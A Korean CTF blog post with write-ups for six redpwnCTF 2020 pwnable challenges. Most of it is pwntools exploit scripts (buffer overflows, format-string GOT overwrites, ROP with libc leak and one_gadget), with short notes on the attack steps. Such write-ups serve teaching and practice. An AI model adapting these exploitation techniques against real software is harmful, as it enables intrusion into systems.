CTF/2020

Redpwn CTF

작년에 재미있게 했던 기억이 있어서 올해에도 빠지지 않고 참여했습니다.

기말시험이나 BoB최종 발표랑 겹쳐서 많이 투자하지는 못했지만 올해도 재밌었습니다.

특히, 작년에 비해 서버가 괜찮았습니다. 작년에는 펑펑 터지던거로 기억하고있어서...

내년에는 좀 더 높은 등수를 노릴 수 있도록 더욱 노력하겠습니다.

 

 

SOLVED

Pwnable

coffer-overflow-0

from pwn import *
p=remote("2020.redpwnc.tf", 31199)

py = 'A'*28
p.sendlineafter("with?",py)

p.interactive()

 

coffer-overflow-1

from pwn import *
p=remote("2020.redpwnc.tf",31255)

py = ''
py = 'A'*24
py += p64(0xCAFEBABE)
p.sendlineafter("with?", py)

p.interactive()

 

coffer-overflow-2

from pwn import *
p=remote("2020.redpwnc.tf", 31908)

magic = 0x4006E6
py = ''
py += 'A'*24
py += p64(magic)
p.sendlineafter("with?", py)

p.interactive()

 

secret-flag

from pwn import *
p=remote("2020.redpwnc.tf",31826)

py = ''
py += '%7$s '
p.sendlineafter("?",py)
p.interactive()

동적할당한 주소를 변수에 저장하고 할당한 주소 안에 플래그 내용 넣어두었다. FSB를 이용하여 해당 주소를 %s로 출력하면 flag를 획득할 수 있다.

 

the-library

from pwn import *
p=remote("2020.redpwnc.tf", 31350)
L=ELF("./the-library")
libc=ELF("./libc.so.6")

pop_rdi = 0x0400733
main = 0x400637
py = ''
py += 'A'*24
py += p64(pop_rdi)
py += p64(L.got['read'])
py += p64(L.plt['puts'])
py += p64(main)

p.sendlineafter('name?', py)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))

libc_base = leak - libc.symbols['read']
print hex(libc_base)
one_gadget = libc_base + 0x4f2c5
py2 = ''
py2 += 'A'*24
py2 += p64(one_gadget)

p.sendlineafter('name?', py2)

p.interactive()

간단한 ROP 문제

 

dead-canary

from pwn import *
p=remote("2020.redpwnc.tf", 31744)

L=ELF("dead-canary")
libc=ELF("./libc-2.27.so")
stack_chk_got = L.got['__stack_chk_fail']
main = 0x0400737
main_low = 0x0737

py = ''
py += '%{}c'.format(main_low)
py += '%8$hn'
py += 'A'*(8-len(py)%8)
py += p64(stack_chk_got)
py += 'A'*(265-len(py))
p.sendafter("name:", py)

py2 = ''
py2 += '%77$p'
py2 += '0'*(272-len(py2))
p.sendlineafter("name:", py2)

p.recvuntil("Hello ")
leak = int(p.recvn(14),16)
libc_start_main = leak - 231
libc_base = libc_start_main - libc.symbols["__libc_start_main"]

one_gadget = libc_base + 0x4f322
one_gadget_low = one_gadget & 0xffff
one_gadget_middle = (one_gadget >> 16) & 0xffff
one_gadget_high = (one_gadget >> 32) & 0xffff

low = one_gadget_low
if one_gadget_middle > one_gadget_low:
    middle = one_gadget_middle - one_gadget_low
else:
    middle = 0x10000 + one_gadget_middle - one_gadget_low

if one_gadget_high > one_gadget_middle:
    high = one_gadget_high - one_gadget_middle
else:
    high = 0x10000 + one_gadget_high - one_gadget_middle

py4 = ''
py4 += p64(0)*34
p.sendlineafter("name:", py4)

py3 = ''
py3 += '%{}c'.format(low)
py3 += '%11$hn'
py3 += '%{}c'.format(middle)
py3 += '%12$hn'
py3 += '%{}c'.format(high)
py3 += '%13$hn'
py3 += '0'*(8-len(py3)%8) 
py3 +=  p64(stack_chk_got)
py3 +=  p64(stack_chk_got+2)
py3 +=  p64(stack_chk_got+4)#64
py3 +=  p64(0)*26

p.sendlineafter("name:", py3)
p.interactive()

마찬가지로 FSB 문제이다.

입력시 크기를 288로 고정하기에 RET overwrite밖에 할 수 없다.

공격은 다음과 같이 진행되었다

  1. '__stack_chk_fail'의 got에 main의 주소를 넣어주어 다시 main이 시작되어 입력할 수 있게끔 해주었다.

  2. RET에 위치한 '__libc_start_main+231'의 주소를 leak하여 libc_base를 구한다.

    leave를 진행하기 전 카나리 호출을 이용하여 main이 호출된 후 다시 sub rsp, 110h로 스택이 늘어나기때문에 이를 유의하자

  3. p64(0)*34를 한번 보내준다

  4. libc_base를 이용하여 one_gadget 주소를 구한 후 '__stack_chk_fail'의 got에 overwrite해준다.

3번 과정을 해주는것은 바로 one_gadget주소를 써주면 조건에 맞지가 않아서 main으로 한번 돌어가서 스택을 늘려주었다.

'CTF > 2020' 카테고리의 다른 글

NahamCon CTF  (0) 2020.06.15
DefenitCTF 후기  (0) 2020.06.08
angstormCTF library_in_c (64bit fsb)  (0) 2020.03.21
angstormCTF 2020  (0) 2020.03.19